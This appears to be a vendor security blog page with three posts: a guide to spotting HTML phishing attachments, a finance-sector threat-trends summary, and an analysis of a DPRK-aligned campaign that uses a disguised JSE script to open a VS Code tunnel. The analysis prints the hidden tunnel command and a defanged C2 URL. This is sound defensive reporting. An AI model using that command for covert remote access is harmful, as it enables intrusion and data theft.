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August 10, 2022

Bytesize Security: A Guide to HTML Phishing Attachments

Darktrace guides you through the common signs of HTML phishing attachments, including common phishing emails, clever impersonations, fake webpages, and more.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Connor Mooney
SOC Analyst
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10
Aug 2022

Common phishing emails

One of the most common types of phishing email seen by the Darktrace SOC, involves the use of HTML attachments (Figure 1). These emails make use of an attachment to hide redirects to overtly malicious or suspicious domains. Some even impersonate legitimate web pages and send any entered or captured information back to the attacker's infrastructure once opened or filled out by the recipient. Indicators of these attempts can be identified from a few key patterns found across multiple emails.

Figure 1: An example of a suspicious HTML attachment containing dynamic content

A typical feature of these HTML attachments is the use of a generic-sounding filename that relates to the message's subject line, but with no specific information pertaining to the recipient or their line of business. These files almost always contain some form of Javascript code, as they often make use of external Javascript libraries to accomplish whatever goal is being pursued. For example, an attacker might use Javascript to convincingly impersonate a trustworthy website and trick the recipient into providing credentials or sensitive information, or they might use it to deploy malware and get a foothold on the device for further compromise once opened. This can be further identified by the presence of certain links in the HTML file itself (Figure 2).

Figure 2: The HTML file previously referenced contained multiple rare and suspicious links

Figure 2 above is an example of an HTML file containing multiple links with calls for .js files. This shows that the attachment contains Javascript and is making calls for external libraries for an undetermined purpose. 

Another common red flag is when the file contains links to common Product or Service images from domains wholly unrelated to those services, as seen below (Figure 3).

Figure 3: An example of an unusual .png call from a rare domain. The subsequent image called is for a company with no apparent relation to the hosting domain

The examples above imply an obvious (and poor) attempt by the HTML file to impersonate a Microsoft webpage, likely a fake login page set up for credential harvesting, as the ‘Microsoft’ logo is being pulled from a domain entirely unrelated to Microsoft or any common image-hosting service. 

Rather than impersonating a website directly in the file and loading resources from external sources, these HTML files will instead directly point toward a webpage that already contains these elements. This comes with its own set of pros and cons: by hosting their phishing page in a public setting, they are far more likely to be taken down, however it may be easier to appear legitimate than if they were to build it all out in the HTML file itself. 

The final routine element in these types of HTML phishing emails is the mechanism by which the attacker intends to receive any successfully scammed credentials or information. If the fake webpage is entirely contained in the HTML file, this often presents as a suspicious PHP link present in the file itself (Figure 4).

Figure 4: Phishing HTMLs often include links to rare domains with PHP destinations as an indication that it will engage in some form of HTTP POST communication

PHP calls suggest that some part of the webpage is intended to submit an HTTP POST or equivalent ‘submission’ call, often present in the ‘Login’ button in these scenarios. After the victim clicks this button, the webpage sends all the form-submission items to the endpoint hosting the PHP page, which is commonly an indicator of the webserver hosting the attacker infrastructure running the phishing attack.

If the HTML file redirects to an externally hosted phishing page, identical PHP links are often found in the source code of those pages (Figure 5). This serves the same function as sending any entered credentials back to the attacker.

Figure 5: The source-code of an external-hosted phishing page, showing calls for PHP pages hosted on alternate attacker infrastructure

The process of HTML attacks is so standardized that they are commonly released in the form of easily deployable phishing kits. These can be deployed on unsuspecting compromised webservers with little to no modification, resulting in virtually identical attacks being seen year-round. WordPress seems to be a prime target for hosting such attacks, with the site owners often becoming unsuspecting victims in propagating these phishing campaigns. An unfortunate side effect of these kits being readily available is that the attackers often don't bother to set any sort of access restrictions on their phishing servers once established, which can result in their entire setup being publicly viewable with a simple link modification. One example is seen below (Figure 6).

Figure 6: The parent directory of the website hosting a suspicious PHP page was fully accessible without restriction

In this incident, the website hosting the PHP link seen earlier had a publicly accessible parent directory structure, where both the PHP file above and an additional suspicious .txt file could be seen. This .txt file appears to be where any information submitted by victims ultimately ended up written to (Figure 7).

Figure 7: The TXT file in the parent directory above appeared to contain the login information that was likely submitted to the PHP page referred to in the initial HTML attachment

Figure 7 above presents the unusual risk of not only having the victims’ credentials at the disposal of the original attacker, but also potentially exposed to any malicious actor that can get creative with a web-crawler to identify key elements of the files used by these particular phishing kits. 

Fortunately, due to the standardized nature of these ready-made phishing kits, these types of attacks often conform to a series of common behaviors that Darktrace / EMAIL excels in identifying. Despite being a popular technique, it is extremely rare for attempts using this HTML attachment method to successfully get through a correct Darktrace / EMAIL  deployment. Overall, this means one less risk for the end user to worry about.

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Connor Mooney
SOC Analyst

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January 28, 2026

The State of Cybersecurity in the Finance Sector: Six Trends to Watch

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The evolving cybersecurity threat landscape in finance

The financial sector, encompassing commercial banks, credit unions, financial services providers, and cryptocurrency platforms, faces an increasingly complex and aggressive cyber threat landscape. The financial sector’s reliance on digital infrastructure and its role in managing high-value transactions make it a prime target for both financially motivated and state-sponsored threat actors.

Darktrace’s latest threat research, The State of Cybersecurity in the Finance Sector, draws on a combination of Darktrace telemetry data from real-world customer environments, open-source intelligence, and direct interviews with financial-sector CISOs to provide perspective on how attacks are unfolding and how defenders in the sector need to adapt.  

Six cybersecurity trends in the finance sector for 2026

1. Credential-driven attacks are surging

Phishing continues to be a leading initial access vector for attacks targeting confidentiality. Financial institutions are frequently targeted with phishing emails designed to harvest login credentials. Techniques including Adversary-in-The-Middle (AiTM) to bypass Multi-factor Authentication (MFA) and QR code phishing (“quishing”) are surging and are capable of fooling even trained users. In the first half of 2025, Darktrace observed 2.4 million phishing emails within financial sector customer deployments, with almost 30% targeted towards VIP users.  

2. Data Loss Prevention is an increasing challenge

Compliance issues – particularly data loss prevention -- remain a persistent risk. In October 2025 alone, Darktrace observed over 214,000 emails across financial sector customers that contained unfamiliar attachments and were sent to suspected personal email addresses highlighting clear concerns around data loss prevention. Across the same set of customers within the same time frame, more than 351,000 emails containing unfamiliar attachments were sent to freemail addresses (e.g. gmail, yahoo, icloud), highlighting clear concerns around DLP.  

Confidentiality remains a primary concern for financial institutions as attackers increasingly target sensitive customer data, financial records, and internal communications.  

3. Ransomware is evolving toward data theft and extortion

Ransomware is no longer just about locking systems, it’s about stealing data first and encrypting second. Groups such as Cl0p and RansomHub now prioritize exploiting trusted file-transfer platforms to exfiltrate sensitive data before encryption, maximizing regulatory and reputational fallout for victims.  

Darktrace’s threat research identified routine scanning and malicious activity targeting internet-facing file-transfer systems used heavily by financial institutions. In one notable case involving Fortra GoAnywhere MFT, Darktrace detected malicious exploitation behavior six days before the CVE was publicly disclosed, demonstrating how attackers often operate ahead of patch cycles

This evolution underscores a critical reality: by the time a vulnerability is disclosed publicly, it may already be actively exploited.

4. Attackers are exploiting edge devices, often pre-disclosure.  

VPNs, firewalls, and remote access gateways have become high-value targets, and attackers are increasingly exploiting them before vulnerabilities are publicly disclosed. Darktrace observed pre-CVE exploitation activity affecting edge technologies including Citrix, Palo Alto, and Ivanti, enabling session hijacking, credential harvesting, and privileged lateral movement into core banking systems.  

Once compromised, these edge devices allow adversaries to blend into trusted network traffic, bypassing traditional perimeter defenses. CISOs interviewed for the report repeatedly described VPN infrastructure as a “concentrated focal point” for attackers, especially when patching and segmentation lag behind operational demands.

5. DPRK-linked activity is growing across crypto and fintech.  

State-sponsored activity, particularly from DPRK-linked groups affiliated with Lazarus, continues to intensify across cryptocurrency and fintech organizations. Darktrace identified coordinated campaigns leveraging malicious npm packages, previously undocumented BeaverTail and InvisibleFerret malware, and exploitation of React2Shell (CVE-2025-55182) for credential theft and persistent backdoor access.  

Targeting was observed across the United Kingdom, Spain, Portugal, Sweden, Chile, Nigeria, Kenya, and Qatar, highlighting the global scope of these operations.  

7. Cloud complexity and AI governance gaps are now systemic risks.  

Finally, CISOs consistently pointed to cloud complexity, insider risk from new hires, and ungoverned AI usage exposing sensitive data as systemic challenges. Leaders emphasized difficulty maintaining visibility across multi-cloud environments while managing sensitive data exposure through emerging AI tools.  

Rapid AI adoption without clear guardrails has introduced new confidentiality and compliance risks, turning governance into a board-level concern rather than a purely technical one.

Building cyber resilience in a shifting threat landscape

The financial sector remains a prime target for both financially motivated and state-sponsored adversaries. What this research makes clear is that yesterday’s security assumptions no longer hold. Identity attacks, pre-disclosure exploitation, and data-first ransomware require adaptive, behavior-based defenses that can detect threats as they emerge, often ahead of public disclosure.

As financial institutions continue to digitize, resilience will depend on visibility across identity, edge, cloud, and data, combined with AI-driven defense that learns at machine speed.  

Learn more about the threats facing the finance sector, and what your organization can do to keep up in The State of Cybersecurity in the Finance Sector report here.  

Acknowledgements:

The State of Cybersecurity in the Finance sector report was authored by Calum Hall, Hugh Turnbull, Parvatha Ananthakannan, Tiana Kelly, and Vivek Rajan, with contributions from Emma Foulger, Nicole Wong, Ryan Traill, Tara Gould, and the Darktrace Threat Research and Incident Management teams.

[related-resource]  

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Nathaniel Jones
VP, Security & AI Strategy, Field CISO

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January 23, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

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Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

Base64 encoded blob.
Figure 2: Base64 encoded blob.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

VSCode Tunnel setup.
Figure 3: VSCode Tunnel setup.

VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

 Contents of out.txt.
Figure 4: Contents of out.txt.

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

GitHub screenshot after connection is authorized.
Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to hxxps://www[.]yespp[.]co[.]kr/common/include/code/out[.]php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

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